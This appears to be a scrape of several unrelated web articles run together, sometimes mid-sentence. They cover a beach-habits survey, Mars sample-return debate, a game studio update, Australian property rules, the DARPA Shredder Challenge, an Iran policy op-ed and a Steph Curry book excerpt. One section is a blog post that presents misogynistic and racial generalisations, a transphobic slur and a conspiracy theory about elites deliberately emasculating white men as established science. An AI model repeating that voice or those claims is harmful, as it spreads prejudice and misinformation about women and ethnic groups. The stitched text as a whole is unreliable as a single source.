The most modest beachgoers were from Asia. Only 2% of Japanese, 3% of South Korean and 4% of Thai beachgoers said they have sunbathed nude. Being modest didn't translate into being uncomfortable with the practice, however. Nearly three-quarters of Japanese beachgoers said they were "very" or "somewhat" comfortable with beach nudity or female toplessness. Residents of Hong Kong, India and Malaysia said they were the least comfortable with it.
The beach is one of the most popular travel destinations in the world. More than half — 56% — of those surveyed said they have taken a beach vacation in the past year. And 73% of those who have taken, or plan to take, a beach vacation said they had reached personal bliss as a result.
RELATED: See the best nude beaches in the Caribbean
"The beach is the world's most popular travel destination by a considerable margin," John Morrey, vice president and general manager of Expedia.com, said in a statement. "So every year we ask travelers all over the world to tell us their likes and dislikes as they relate to beach behavior. In response, we can offer travelers the recommendations that best suit their preferences."
Among the other findings:
Speedos are acceptable attire to nearly three-quarters of beachgoers worldwide. A full 95% of Brazilians approve of the skimpy swimwear. Austrians, Germans and Spaniards were nearly as accepting. The least likely to approve of Speedos were Norwegians, with just 40% considering it acceptable attire. As for Americans, 57% were fine with Speedos.
More than half of the world's beach goers would "never" post a photo of themselves in swimwear, whether it be a Speedo or a one-piece.
Sleeping was the top beach indulgence, with 46% of respondents saying that they like to sleep in or nap while on a beach vacation. Taking a beach holiday also sparks romance. Almost 40% of the world's beachgoers said they enjoy getting intimate with a partner while vacationing on a beach.
Sharks breed anxiety among beachgoers, with 44% of respondents saying they fear an attack. Those from Brazil, Hong Kong and Malaysia were the most fearful of sharks. Half of beach goers said they are afraid to swim at the beach because of sharks. Still, that didn't stop 35% of them from conquering that fear and getting into the water.
CARIBBEAN IN THE BUFF: Top nude resorts
Read or Share this story: http://usat.ly/1mwKKXOI wonder if the dam is beginning to burst on public discourse, leading to growing awareness of converging androgyny of the sexes. CH was out front informing the masses of a strange trend toward sexual unipolarity characterized by a psychological and physiognomic swapping and sharing of normal sexually dimorphic traits. Men appeared to be getting womanlier and women manlier.
But it was the stuff of quirky anecdote and peripheral observation, out there on the bleeding edge of heartistian thought. The science had yet to catch up to CH’s eagle eye. But now the ♥science♥ is here, and as per usual the boys in the lab are busily verifying precocious CH insight.
Commenter chris writes,
@CH In your posts. https://heartiste.wordpress.com/2009/06/15/the-masculinization-of-the-western-white-female/
https://heartiste.wordpress.com/2013/01/15/the-manjaw-ification-of-american-women-science/
https://heartiste.wordpress.com/2013/09/26/study-women-really-are-becoming-more-like-men/ [ed: see also: https://heartiste.wordpress.com/2009/04/24/the-feminization-of-the-western-white-male/
https://heartiste.wordpress.com/2012/02/22/are-the-chemicals-of-modern-society-emasculating-men/
https://heartiste.wordpress.com/2013/11/28/is-humanity-becoming-androgynous/ ] You discuss the masculinisation of western women [and feminization of western men]. This article might explain a mechanism for it: http://www.livescience.com/3098-female-figure-hourglass.html “Androgens, a class of hormones that includes testosterone, increase waist-to-hip ratios in women by increasing visceral fat, which is carried around the waist. But on the upside, increased androgen levels are also associated with increased strength, stamina and competitiveness. Cortisol, a hormone that helps the body deal with stressful situations, also increases fat carried around the waist. Hormone levels linked with a high waist-to-hip ratio could lead to such health benefits, which would be particularly useful during times of stress, Cashdan said. These benefits could outweigh those attained from having the tiny waist, hourglass figure, she said. Perhaps the differences between predominant body shapes in some societies have to do with sexual equality, Cashdan said. In Japan, Greece and Portugal, where women tend to be less economically independent, men place a higher value on a mate’s thin waist than men in Britain or Denmark, where there tends to be more sexual equality, Cashdan said. And in some non-Western societies where food is scarce and women bear the responsibility for finding it, men actually prefer larger waist-to-hip ratios. “Waist-to-hip ratio may indeed be a useful signal to men, then, but whether men prefer a [waist-to-hip ratio] associated with lower or higher androgen/estrogen ratios (or value them equally) should depend on the degree to which they want their mates to be strong, tough, economically successful and politically competitive,” Cashdan writes.” So as we head to a female forager/matriarchal/feminist society, in order to compete and WIN, the women will have to, and are, masculinising. It’s interesting how the feminists who agitate for a society organised along these lines are the females most likely to be successful in these societies. Feminist women win, non-feminist women lose. Feminism is a war of women against other women. It’s about making the feminist/female forager mating strategy the winning mating strategy. And any woman who isn’t a masculinised female/feminist, will be a loser in this world.
Fitting, yes, that the Western leftoid project to economically and socially equalize the sexes is literally equalizing men and women in body mass, shape and temperament. Fuck with the forces of nature and nature will fuck you right back, hard.
But I wouldn’t make too much hay of this latest study. One, there is a mound of accumulated evidence that male preference, at least in Europe and Asia, is for women with waist-hip ratios of 0.7 and BMIs falling between 17 and 23. Two, the enlarging (heh), sugar-fueled and automobile-enabled Western obesity epidemic is likely distorting measurements of the natural WHRs of women under a layer of belly blubber. Three, what the above study could be measuring is not changes in innate, unconstrained male preference but rapid female adaptation to environmental pressures that occur *despite* male sexual preference. (Note, also, that the majority of sampled countries in the data set were non-European. A good rule of thumb: Female beauty standards are universal, EXCEPT in Africa. “Except in Africa” is a clause that could be appended to a lot of generalizable observations about human nature.)
Nevertheless, this study is hinting at something that CH has noticed: Western women are looking, and acting, manlier. We have cast about for reasons why, and now we have one plausible mechanism: When propagandized sexual equality pushes women into the workforce and away from children and home, their bodies respond by jacking up their tiny reserve of male hormones until they more resemble the men with whom they now compete in arenas historically occupied only by men.
And so what kind of women does our post-biology, androgyne culture beget? Manjaws. Narrower eyes and hips. Thinner lips. Wider waists. Aggressive posturing. Leering, focused gazes. Snarls and snarks.
Recall this contrast between composites of Golden Age Hollywood starlets and modern actresses:
The face composite on the left is of actresses from 2008, the right of actresses from the 1940s. Neither are unattractive, but the left one clearly has undergone some masculinization. Anymore, and she veers into tranny territory. What does this mean for men? Most men will feel like sexually conquering the girl on the left, and romantically protecting the girl on the right. Funny, that seems to be the way our sexual market is heading.
What else do our present and future masculine women offer? Shrieking feminist agit-prop. Wall to wall lies to deny sex differences. “Art” made from menstrual blood. Pussy riots. Delayed childbirth. Women breaking their bodies competing in high-impact sports traditionally dominated by men. And, in a final middle finger to the god of biomechanics, a simultaneous war to feminize men so that women’s descent to maleness can proceed unhindered.
That last part is happening too, in case you were wondering. I could show you a pic of John Scalzi as proof and call it a day, but as demonstrated by the CH links above there is similar data-rich evidence piling up that something weird and disconcerting is happening to Western men to turn them into mewling manboobs, overweight male feminists, slope-shouldered hipsters, and huge beta sycophants. Although it isn’t (yet) making the nightly news, far-flung quarters are beginning to pick up on the CH-identified disturbing inversion of men to a physical and psychological female form.
None of this is good news, except to ugly feminists and socially awkward male toadies who never stood a chance in the grindhouse of the mating bazaar. I don’t see how civilization sustains itself under these conditions, not demographically at any rate. There will be a price to pay for messing with nature’s prime directive. I don’t know exactly what amount, or what currency we’ll pay it in, but the bill is coming due.
The title of this post is not an affectation. The convergent masculinization and feminization of the sexes to a shapeless, infantilized alien gray is a deliberate project by the elites as much as it is an emergent phenomenon of uncontrolled environmental insults. The ruling class wants this. People in power, people who don’t want to relinquish even a speck of their power, want their nearest competition — white middle class men — gelded. They want them soft and blubbery and pliable. They want women unfeminine, self-supporting, aggressive and ballcutting, because they know that a culture dominated by such women will reinforce and solidify the slavish adherence to the preferred propaganda matrix of the elite.
The elite’s most dangerous enemy are men like themselves, competent and hungry, but with less to lose. And so the elite play social engineering with the sexes, in hopes of ridding themselves of men capable of rebelling. If they taste success, they will move on from social engineering to biological engineering of the wider culture of men to cement their rule. You scoff. Ask yourself, are you, at this late hour, willing to place your faith in the benevolence of your ruling elite should such technological game-changers drop in their laps?
Ultimately, whether our ruling class knows it or they bumble along like drug addicts seeking the next pleasurable injection of power at any cost, their sex-swapping project will turn the West into matricentric, female forager Africa. And it shouldn’t be too hard to figure out what comes next.For decades scientists have backed the idea of sending robots to collect Martian rocks and return them to Earth, a project that should be possible well before humans crunch their boots into the distant dunes of the Red Planet.
The idea of landing, scooping up, and hauling back to our world specimens from that intriguing globe has long been endorsed as the Holy Grail of precursor missions by Mars exploration planners.
This view was echoed in late September by a summary report from NASA's Mars Program Planning Group (MPPG). Former NASA program manager Orlando Figueroa chaired the blue-ribbon team of MPPG members that were tasked to reformulate the agency's Mars Exploration Program.
Yet other experts question whether robots should do a job that might be better suited for human astronauts. [The Boldest Mars Missions in History]
Report findings
An MPPG objective was to explore options and alternatives for creating a meaningful collaboration between science and the human exploration of Mars. More to the point, recent deep cuts in the budget for Mars exploration at NASA necessitated a reconsideration of the Mars robotic exploration program.
Among the summary report observations, the MPPG found that Mars sample return architectures offer a "promising intersection" of objectives between the human spaceflight, space technology, and robotic exploration camps.
In a press briefing showcasing the summary report, NASA's John Grunsfeld, associate administrator for the Science Mission Directorate, said that sample return represents the best opportunity to find technological synergies between the programs.
"Sending a mission to go to Mars and return a sample looks a lot like sending a crew to Mars and returning them safely. There's a parallelism of ideas there," he said.
Better and cheaper
But is a robotic dig-and-dash Mars initiative a clear, hands-down, need-to-do effort that precedes human explorers strutting across the Martian landscape? And to what degree can rocketing back grab-bag samples help decipher a long-standing, key question: Is there life on Mars?
Another option is to bypass robot surrogates and let astronauts bring back the "Mars goods" themselves. Furthermore, who says the samples must be returned to Earth at all?
"I disagree with the high priority on sample return," said astrobiologist Dirk Schulze-Makuch of Washington State University in Pullman.
"Our in-situ [on-the-spot] capabilities are so much better nowadays than, let's say during Viking lander (1970s) times," Schulze-Makuch said. "We could address with an in-situ mission whether microbial life is present on Mars."
Sample return missions are so much more costly, Schulze-Makuch said, "and the only thing that would be advantageous, in my view, is to get an absolute age scale via radioactive dating of Martian rocks," Schulze-Makuch said, "but from an astrobiological viewpoint, [an] in-situ mission would be better and cheaper."
A new NASA goal has stated that from now on any robotic missions should also help support future human missions. This requirement would be satisfied by a robotic mission to ascertain whether life exists on Mars, Schulze-Makuch said.
"One of the greatest questions that needs to be solved before any human mission can be launched is whether there exists Martian life on Mars — both for the protection of the astronauts on Mars and planetary protection considerations the other way around — and this can be best addressed with in-situ robotic missions," Schulze-Makuch said.
Over the decades, a number of technical assessments have been done to blueprint how to lob bits and pieces of Mars back to Earth. (Image: © NASA/JPL)
Thoughtful collection
"For the foreseeable future, most science done on planetary surfaces will be geological and it should be viewed primarily as a field science enterprise," said Kip Hodges, director of the School of Earth and Space Exploration at Arizona State University in Tempe.
Despite the successes of Apollo, the Mars Exploration Rovers Spirit and Opportunity, and now Curiosity, we really have very little experience with planetary field geology, Hodges said.
"In contrast, we have nearly two centuries of experience with field geology on Earth," Hodges told SPACE.com. "My perspective is that we should use the lessons we have learned here to inform how to get the most out of our rare opportunities to do planetary field geology on other worlds."
When it comes to sample collection, Hodges said, terrestrial field geologists know better than to sample randomly, unless they have the capacity for many laboratory studies of many samples.
"It seems highly unlikely that sample return from Mars will involve large numbers of samples or large-sized samples," Hodges said, "so thoughtful collection of the best, most scientifically informative samples is critical if the greatest science return is the goal."
Mobility on Mars
The recent landing of Curiosity, the mega-rover for Mars, made use of a Sky Crane concept that might prove useful in the future to plop down on the Red Planet a sample return mission. (Image: © NASA/JPL)
For Hodges, collecting the Martian "right stuff" means mobility on the planet is a pre-requisite.
"Whether the collection is done by teleoperated robots or humans on the surface, it is important to get multiple perspectives to establish detailed geologic context before sampling … and one can't do that with a simple lander because you'd be relying too much on luck, in my opinion," he said.
But once you have mobility, the question is whether a human or a robot would be better at getting you the context, Hodges said. Could a human with boots on the surface do that?
"Absolutely — that experiment has already been done here on Earth," he said. Hodges thinks a capable teleoperated robot could do that as well, given sufficient time. However, the geologist remains unconvinced that an autonomous robot would be able to do that anytime soon.
Bottom line
"The question of whether a robotic or human mission would provide better science return is great fodder for argument," Hodges said, moving to a bottom line assessment.
"I don't know if a human mission, given the likely duration of a first mission, could return 'better' samples, but they could collect better samples faster for sure. Is that enough to justify a human mission to Mars? I think that's the wrong question to ask," Hodges said.
Instead, Hodges said it's whether or not the myriad non-scientific reasons for human travel to Mars will justify such a mission before a robotic sample return mission could be funded. [Bringing Pieces of Mars to Earth: How NASA Will Do It]
"If the answer is yes, then, by all means, we could get great samples and including science should be a priority for that human mission. Is there a science driver for human exploration of Mars that can be used as its sole justification? Doubtful. Can it be argued that an unmanned sample return mission is imperative before we send humans? I really don't understand the logic behind that assertion," Hodges concluded.
Site selection
Another consideration is whether a sample return mission to Mars might "flight qualify" a site prior to any human setting foot on the Red Planet, proving that it's safe to send people in its wake.
"Absolutely not. Why should it be — to confirm that the site contains no pathogens? That's ridiculous," responded Robert Zubrin, president of the Mars Society based in Lakewood, Colo.
"The Martian surface can't support microbial life, because it can't support liquid water, and is bathed in ultraviolet," Zubrin told SPACE.com. "If there is life on Mars, it is underground, in the water table, which the Mars sample return mission won't reach."
To understand the full impact of the "site prequalification" argument, Zubrin said "it must be noted that those who advance it say they want to do a sample return to assure NASA that a given site is free of native life before we send astronauts there. In fact, if Mars sample return or any other probe detected a site with life on Mars, that is exactly where any science-driven program would want to send astronauts."
Zubrin said he views the prequalification argument for the Mars sample return mission as not merely wrong, but absurd. "If that argument is needed to justify Mars sample return, then that mission lacks justification, and should not be entertained," he added.
Alternative robotic missions
Is sample return the best way to pursue the robotic scientific exploration of Mars, within the budget of NASA's Mars exploration program?
"Maybe," Zubrin said. "It is certainly possible to propose alternative robotic mission sets consisting of assortments of orbiters, rovers, aircraft, [and] surface networks … that might produce a greater science return than the Mars sample return mission, much sooner."
Still, Zubrin said that if we are planning human exploration of the Red Planet, human explorers can return hundreds of times the amount of samples, selected far more wisely, from thousands of times the candidate rocks, than a robotic sample return mission.
"However, that said, if the scientific community really believes that a robotic Mars sample is so valuable that it is worth sacrificing all the other kinds of science they could do with the money, then it is imperative that NASA develop the most efficient Mars sample return plan, to allow the sample to be obtained as quickly as possible and with the least possible expenditure of funds that could be used for other types of Mars exploration missions," Zubrin said.
Dementia of bureaucracy
How soon before humans trek across the landscape of Mars? Artist's concept depicts crewmembers involved in sample analysis on Mars. (Image: © NASA/JSC)
In Zubrin's opinion, the recent MPPG summary report approach to a Mars sample return mission "is probably the unplanned product of the dementia of bureaucracy operating as a social disease, rather than the willful madness of any one individual."
The MPPG summary viewgraphs, Zubrin pointed out, seemingly outline a Mars sample mission conducted in eight parts that include:
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blog post – but today we’re fixing that, and hopefully explaining a little about our silence.
Since the end of Kickstarter, we’ve had a lot of important decisions to make about the direction of the project: we’ve had to decide how to fill Kimmo’s role in the project, how to focus development, how to approach alpha testing (and whether to have a public alpha at all) and what we want to see become of GeneRally 2.
First and foremost, GeneRally 2 is still in development – we are still very keen to see the project through to completion, in whatever form that ends up taking. As we alluded to in the last blog post, we’ve already made significant improvements and feature additions since the last Kickstarter build, and we’re generally quite pleased with the progress being made.
Despite this, there have been a number of complications that have arisen for us, personally, over the past month or two. James has been unwell for much of the time since our last blog post, and Markku has been focussing on some important work for his PhD studies. These factors have left us with precious little time to commit to GeneRally 2 recently, much to our own dissatisfaction.
Furthermore, we’ve had to decide how to best ‘replace’ Kimmo in terms of the areas he was contributing heavily to (most notably, 3D modelling). When we brought Kimmo on-board, it was to fill a specific need in our development team, and with him gone, we have to work out how to best fill that role again. For the time being, some features have had to be delayed, or moved lower down the priority list, until we can fill that role adequately.
Of course, all of this means that development is slower than it has been previously. In the run up to Kickstarter, the three of us took time off from work to push the project forward at a considerable rate – this was something we needed to do to ensure that the project was where we wanted it to be in time for the campaign. Obviously, with the Kickstarter campaign not having gone as we’d hoped, we haven’t been able to keep that pace up (especially with losing a third of our development team).
As far as community interaction, blog posts and social media updates go – we have always said that we’ll update you when there’s something to say. It’s always disheartening to read some of the aggressive comments left by people who claim to ‘know’ we’ve given up, or that we’re not worth the time and effort, or that we’re con artists, or that GR2 is vapourware – but, ultimately, we continue because this is a labour of love for us. We always aim to keep you updated with progress when there is real progress – but with a project of this nature, that may not be every week, or even every month.
Since the initial announcement of GeneRally 2′s development, we’ve said that we had two real options in front of us: fund the project early, and be able to deliver quickly; or don’t and delivery be slower. Whether you contributed to our funding campaign on Kickstarter or not, the net result is that we’re left with the latter option.
Funding via Kickstarter would have guaranteed a feature-set and particular expectations, based upon what we’d promised (that’s what the money was for) – but now, we don’t want to simply push out our early development work in some foolish attempt to replicate Kickstarter, but without the same security for you guys. We don’t want to do a half job, or take money and not be able to deliver, so we keep working until we have something worthy of your attention and, hopefully, your money (whether that’s donations, sales or pledges). We don’t want to fall into the trap of so many ‘early access’ games that force themselves to market before they’re ready, just to support a business model – we want quality, however long that takes.
We know that this blog post will be a relief to some and ‘fuel on the fire’ for others – but, as our mothers always taught us, “honesty is the best policy.” We’ll keep you updated with the progress we make on GeneRally 2 as we go forward, especially relating to public alpha/beta access, and as we make those decisions.
Thanks for your ongoing support!
– James & Markku(Repeats story published early Tuesday; no changes to text)
By Morag MacKinnon
PERTH, June 9 (Reuters) - A crackdown on foreign investors who breach Australian law barring purchases of existing homes is reaping results a month after new penalties and a temporary moratorium were announced, the government said on Tuesday.
House prices in Sydney, Australia’s biggest city, have soared 40 percent in three years, fuelled by interest rate cuts to historic lows.
Chinese investors are keen buyers and China overtook the United States to become the largest source of foreign investment in Australia last year, driven by a surge in real estate buys.
The Foreign Investment Review Board is investigating 195 cases of purchases by foreign investors, which include 24 cases of those who voluntarily flagged their own possible breaches, Treasurer Joe Hockey said in a statement.
Tip-offs from members of the public, suspicious that properties had been purchased illegally using shelf companies and illegal leasing arrangements to hide foreign ownership had led to 40 of the cases under investigation, Hockey added.
“Foreign investors who think they may have broken the rules should come to us before we come to them,” he said.
Last month, in a bid to cool soaring property prices, the government announced penalties, such as hefty fines and prison terms of up to three years, for foreign investors illegally buying properties in Australia.
The new stronger punishments come in response to growing foreign investment in Australian real estate and evidence of abuse of current laws that prevent foreign buyers from purchasing existing homes.
Buyers who come forward before November 30 will be forced to sell properties, but will not face criminal prosecution.
This year, Hockey ordered the Chinese owner of a A$39-million ($30-million) Sydney harbourside mansion to sell the property within 90 days, saying it was bought illegally via a string of shelf companies.
To increase housing stock and spur investment, Australia permits offshore buyers to purchase new homes and apartments. (Reporting by Morag MacKinnon; Editing by Clarence Fernandez)DARPA Shredder Challenge 2011 was a prize competition for exploring methods to reconstruct documents shredded by a variety of paper shredding techniques. The aim of the challenge was to "assess potential capabilities that could be used by the U.S. warfighters operating in war zones, but might also identify vulnerabilities to sensitive information that is protected by shredding practices throughout the U.S. national security community".[1] The competition was sponsored by the Defense Advanced Research Projects Agency (DARPA), a research organization of the United States Department of Defense.[2] Congress authorized DARPA to award cash prizes to further DARPA’s mission to sponsor revolutionary, high-payoff research that bridges the gap between fundamental discoveries and their use for national security.
As an example, solution of puzzle 2 from the DARPA Shredder Challenge.
Under the rules of the competition, the $50,000 challenge award would be granted to the first team to submit the answers to questions relating to a hidden mystery. The mystery verified that the team was able to extract meaningful intelligence from the page that was thought destroyed. The secret answers could be acquired by reconstructing five individual puzzles that were created by shredding one or more single-sided hand-written documents.[2]
Winning team [ edit ]
Reconstruction of puzzle 2 by the winning team.
Nearly 9,000 teams participated[3][4][5] between 12:00PM EDT on October 27, 2011, and the deadline of 11:59PM EST on December 4, 2011,[2] with the San Francisco-based team "All Your Shreds are Belong to U.S." winning the competition three days ahead of schedule.[6][7][8]
The team used a combination of techniques to solve the puzzles: custom-coded computer-vision algorithm were created to suggest fragment pairings to human assemblers for verification.[5] The eight-person team led by a technology entrepreneur Otavio Good also included Keith Walker, Winnie Tong, Luke Alonso, Zina Tebaykina, and Sohana Ahmed with two more persons joining to help in the end.[3] The team's three programmers had strong image-processing skills that enabled them to win this challenge: at the time of DARPA Shredder Challenge 2011, Otavio Good was leading the development of the visual translation tool Word Lens, Luke Alonso was a developer of the mobile phone application "Cabana", and Keith Walker was a programmer working on a satellite software at Lockheed Martin.[4]
Approximately 600 worker-hours were dedicated by the team to reconstruct five documents shredded into more than 10,000 pieces.[5][7][9] According to Good, the team's name was based on an Internet meme "All your base are belong to us".[3]
Other teams [ edit ]
Second placed team, "Schroddon", was composed just of husband and wife Marianne and Don Engel living in Baltimore, Maryland.[10] In contrast to the winning team, Schroddon used a human-assisted algorithm that the couple created. Both physicists, Marianne used her background in cryptography and Don used his background in computer science.[11] The couple was ranked first from November 14 until November 18, 2011.
University of California, San Diego (UCSD) reconstructed three puzzles through an online crowdsourcing approach, but their work-in-progress was repeatedly sabotaged.[12][13]
Top performing teams [ edit ]
In the final standings,[14] the top 10 teams reported are:
Place Name Points 1 All Your Shreds are Belong to U.S. 50 2 Schroddon 30 3 wasabi 26 4 MKI 22 5 mmvd 22 6 UCSD 22 7 Craig Landrum 19 8 mkelly 19 9 Icandoit 19 10 Goldsong 17
See also [ edit ]Head of the Iranian Atomic Energy Organization Ali Akbar Salehi, 2nd left, and Iranian Foreign Minister Javad Zarif, center, wait at the start of a meeting at the Beau Rivage Palace Hotel, in Lausanne, Switzerland, Saturday March 28, 2015. Negotiations over Iran's nuclear program picked up pace on Saturday with the foreign ministers of France and Germany joining U.S. Secretary of State John Kerry in talks with Iran's top diplomat ahead of a looming end-of-March deadline for a preliminary deal. (AP Photo/Brendan Smialowski, Pool)
Conservatives in this country are deeply frustrated by the progress of the nuclear talks with Iran, which are likely to produce a landmark agreement within a few weeks. So they have reverted to an old shibboleth of anti-Iran rhetoric: that the Islamic Republic of Iran is hell bent on regional domination, to America's peril. The argument is hollow.
It's an argument being made with increasing urgency as the nuclear deal looms. The fear on the right is that an historic accord with Tehran might blind Washington and the Europeans to Iran's penchant for anti-U.S. and anti-Israel mischief. Many liberal analysts speak of a renaissance of U.S.-Iran relations post-deal, which seems premature, but this is the right-wing nightmare. It is also the Saudis', who have long enjoyed privileged status in Washington.
This week, a group of former policy makers issued a short report, "Key Elements of a Strategy for the United States in the Middle East," which basically has one and only one message: Iran is dangerous, and getting more so by the day. The report is issued in the name of Sandy Berger, national security adviser to President Clinton, Stephen Hadley, national security adviser to President George W. Bush, and three others who are senior fellows or staff of the Washington Institute for Near East Policy (WINEP), Dennis Ross, James Jeffrey, and Robert Satloff.
Now, the first thing to know about WINEP is that it has always been, since it grew out of the American Israel Public Affairs Committee, or AIPAC, in 1985, an essentially Israeli operation in the sense that its primary goal is to protect Israel's interests. This fact is rarely mentioned in the mainstream news media. And the report on Iran-as-biggest-danger is in perfect harmony with Israeli Prime Minister Netanyahu's repeated warnings, if more sophisticated.
But it's a good example of how the argument is formulated, one that I've heard at dinner parties and seminars for several months now. To some degree, it accepts the likelihood of a nuclear deal, although it's also used as a battering ram against the accord -- i.e., if Iran is freed from sanctions, it can do more to expand its reach in the region. The more perplexing, if not outrageous, claims about Persian Gulf dynamics is the depiction of Saudi Arabia, Qatar, and other Gulf monarchies as the innocent victims of Iranian intrigue.
The Gulf monarchies, the authors insist, "see their struggle against Iran in existential terms, and the more the Iranians seem to be intent on encircling Saudi Arabia--with perceived threats to its Eastern Province, as well as to Bahrain, Iraq, Syria, Lebanon, and Yemen--the more the Saudis will position themselves to counter the Islamic Republic." Just deconstructing these sentences would take too much space, but suffice it to say that there is no "existential" threat from Iran; the Saudis have treated their Shia citizens in the Eastern Province with contempt; and the involvement of Iran in Syria (supporting Assad) and in Lebanon (supporting Hezbollah) were more about Israel than any other objective. The WINEP authors speak darkly of Iran's "regional hegemony" -- apparently a fact, not merely an aspiration -- to which they fear the Obama administration might acquiesce after the nuclear deal signing.
The Saudis, Emiratis, Kuwaitis, and Qataris, by contrast, are our stout allies (along, of course, with Israel), who should become "more inclusive, more tolerant, more accepting of pluralism, and more willing to accept minority rights." (This list could apply to Israel as well.) It should be added that these are not just minor nuisances. The Saudis in particular are in effect running a totalitarian state. Not only is this evident in domestic life and politics, but in its aggressive proselytizing of Wahabbism, its brand of extremist Sunni ideology, not only in the Middle East and North Africa but in East Asia and elsewhere.
The Saudis and Qataris funded "rebels" in Syria who were among the most dangerous kinds, some of whom have migrated into the Islamic State, or ISIS, the defeat of which is the putative reason for the WINEP report. Despite the authors' assurances that the Gulf monarchies have backed away from such support, reports indicate it continues. The authors endorse the Saudis' bombing campaign against Yemen, designed to set back the Houthi tribe that is Shia and loosely aligned with Iran. More than 2,000 people have been killed in Yemen because of Saudi aggression, and aid workers describe desperate conditions for civilians ("I am shocked about what I have seen," said a director of Doctors Without Borders). The U.S. is supporting the Saudi operation.
The authors refer to Iran's "unacceptable behaviors" in the region, and claim that it seeks to destabilize the state structure of the region's countries. And here one must ask, which nation has in fact done the most to destabilize states? The Saudis in Syria would be one candidate. They also supported Sunni insurgents in Iraq. The authors do not even cite the U.S. invasion and the smoking ruin that was Iraq after years of U.S. war and occupation, including at least 500,000 Iraqi deaths. (Some of the WINEP authors were directly involved in that catastrophe.) And of course they scarcely mention Israel's role in nourishing the jihadi narrative by its nearly half-century of occupation and human-rights violations in Palestine.
Deriving lineages for Middle East tragedies and misdeeds is a fool's errand, but the WINEP authors have produced nothing more than anti-Iran boilerplate without so much as an evidentiary footnote. Iran is no angel, to be sure, but its pursuit of its own interests is typical state behavior. It could be schooled on Syria and the havoc it contributed to in Iraq, including sectarian governance from Baghdad, but the notion of Iranian hegemony is a right-winger's fantasy. And, it seems, Israel's think tank on L St.
John Tirman is author or coauthor of two books on U.S.-Iran relations and, most recently, Dream Chasers: Immigration and the American Backlash (MIT Press). He is executive director of the MIT Center for International Studies.Part of what makes two-time-reigning NBA MVP Stephen Curry so good is the chip he carries on his shoulder. Make that chips. Throughout his career, he's drawn on lack of respect from his peers, on his draft position, even on the schools that didn't recruit him in high school—using those experiences to fire his competitiveness, to shift from plain-old best-shooter-on-earth Steph Curry into the ultra-competitor nicknamed the Baby Faced Assassin.
As Marcus Thompson II, the Bay Area News Group columnist who has covered Curry throughout his NBA career, writes in his new book, Golden, "These kinds of moments are peppered throughout Curry's career. In high school, college, and the pros, there are stories about him shifting gears and destroying his foe. Of him responding to doubt with dominance and slights with something sensational."
In this excerpt from the book, which comes out April 11, Thompson reveals the origin of the Baby Faced Assassin:
Courtesy of Simon & Schuster
The earliest stories of Stephen Curry's alter ego date as far back as the early 2000s in Toronto. His mother, Sonya, had moved the whole family, including Steph, his younger brother, Seth, and sister Sydel, up to Canada to spend the year with their father, Dell Curry, as he played his final NBA season with the Toronto Raptors.
Sonya couldn't find a Montessori school in Toronto so she opted for one of the only Christian schools nearby, Queensway Christian College. A tiny school in the Etobicoke district of Toronto, about fourteen kilometers up the Gardiner Expressway from the Air Canada Centre. Oddly enough, a strip club and the Toronto headquarters for Hell's Angels were across the street. The school was basically a few classrooms in the back of a church on the Queensway, plus an adjacent portable and decrepit gymnasium that housed all the physical education activities during the thick Toronto winters.
"Soft-spoken," James Lackey, the Queensway Christian College basketball coach, said of Steph during his time there. "Few words. Real quiet. Friendly. Personal."
Steph attended as an eighth grader. He played floor hockey, indoor soccer, and volleyball, and then basketball season rolled around.
There were no tryouts at Queensway. The school was so small, everyone who wanted to play was on the team. And usually the same athletes played all the sports.
Lackey started the first practice by rolling out the balls and telling the players to warm up. He really wanted to get a first look at the two NBA player sons, Stephen and Seth, to see what he was working with.
The eldest Curry stood out immediately. As is the case before every NBA game now, Steph's warm-up was a show. Crossovers, net-splashing jumpers, advanced footwork as he practiced certain shots.
"After about five minutes," Lackey said, "I went over to him and said, ‘Can you teach me some of those things for my men's league tonight? I want to use some of those moves on the guys.' He was doing stuff at age 12 that I've never seen before."
These middle school warm-ups were small potatoes for Curry. He'd been in practice with his father having shootouts with NBA players. He'd give Toronto point guard Mark Jackson all he could handle in shooting competitions. When Sonya allowed him and his brother Seth to attend Raptors games, they'd spend most of the evening facing off on the Raptors practice court—which was across the concourse from a concession stand. Curry would constantly beat his younger brother, swishing jumpers in full-court games of one-on-one. When the fourth quarter began, or when they heard an uproar from the crowd, they'd scamper across the concourse to the tunnels overlooking the court, to see what amazingness Vince Carter had pulled off. After witnessing the replay, they'd run back to the practice court and finish going at it.
They had done the same in Charlotte, when their dad played for the Hornets. Steph and Seth groomed their game against each other in backyard one-on-ones. Steph spent quite a bit of time at NBA practices with his dad, in the Hornets locker rooms, and perfecting his shot on NBA courts. The boys didn't play AAU ball. The first six years of their schooling was at the Christian Montessori School of Lake Norman, where their mother is founder and principal.
When Curry hit the seventh grade, he transferred to Charlotte Christian. He played for the middle school team. That's when Shonn Brown, the high school coach, first saw him.
"He could shoot the ball but he was really small," Brown said. "The way he handled the ball. The way he moved on the court. The way he shot it. You could just tell he had been around basketball."
So what Lackey saw as amazing was merely a Tuesday for Curry.
As a small Christian college, Queensway's schedule consisted of playing other similar schools. It wasn't great basketball by any means, a bunch of short players tossing the ball around, learning the intangibles of teamwork and adversity more than honing their hoop skills. But with Curry on the team, Queensway was suddenly winning by 40 and 50 points each game.
Lackey, for the spirit of competition, started scheduling games against big high schools from the city. Curry torched them, too.
As legend has it, one of the big high schools had enough of Curry—who played shooting guard while his brother ran the point—and decided to get physical with him. Lackey got the sense that the opposing coach told them to bump Curry around.
Lackey tried everything he could to free up Curry, to get some scoring on this bigger, physical team. He put Curry at point guard. He ran him off screens. He used Curry as a decoy. He pulled out fancy plays they hadn't really practiced.
With about a minute left, Lackey was resigned to their perfect season being over. They were down six points, which at this level of hoops meant you were done. It typically takes four or five trips for a middle school team to score six points, as each trip requires time-consuming plays to get a good shot. He ran out of ideas.
Lackey called a timeout because he wanted to prepare his team for the inevitable loss, use it as a teaching moment about how to handle losing properly. He told them to finish out the game strong, to hold their heads up because they'd played hard against a team they had no business being on the court against.
Lackey, though, did have one move left. He just didn't know it until Curry spoke up.
Curry saying anything in the huddle was a surprise. He barely talked. Normally, he would just listen to the play, say, OK, then go run the play. But something had been triggered in Curry.
"That's when Steph got serious," Lackey recalled. "He just said, ‘We're not losing this game. Give me the ball.' That's exactly what he said. So I said give the ball to Steph. That's the play."
B/R
What happened over the next minute was a stunning takeover. Two quick 3-pointers by Curry rattled the opponent and changed the whole tenor of the game. The Queensway Saints won by 6.
The Baby Faced Assassin was born that day. The alter ego that would turn the kindest, cutest kid around into a vindictive, explosive predator on the court. The Baby Faced Assassin would eventually come out more often, grow stronger and more determined as his basketball career evolved.
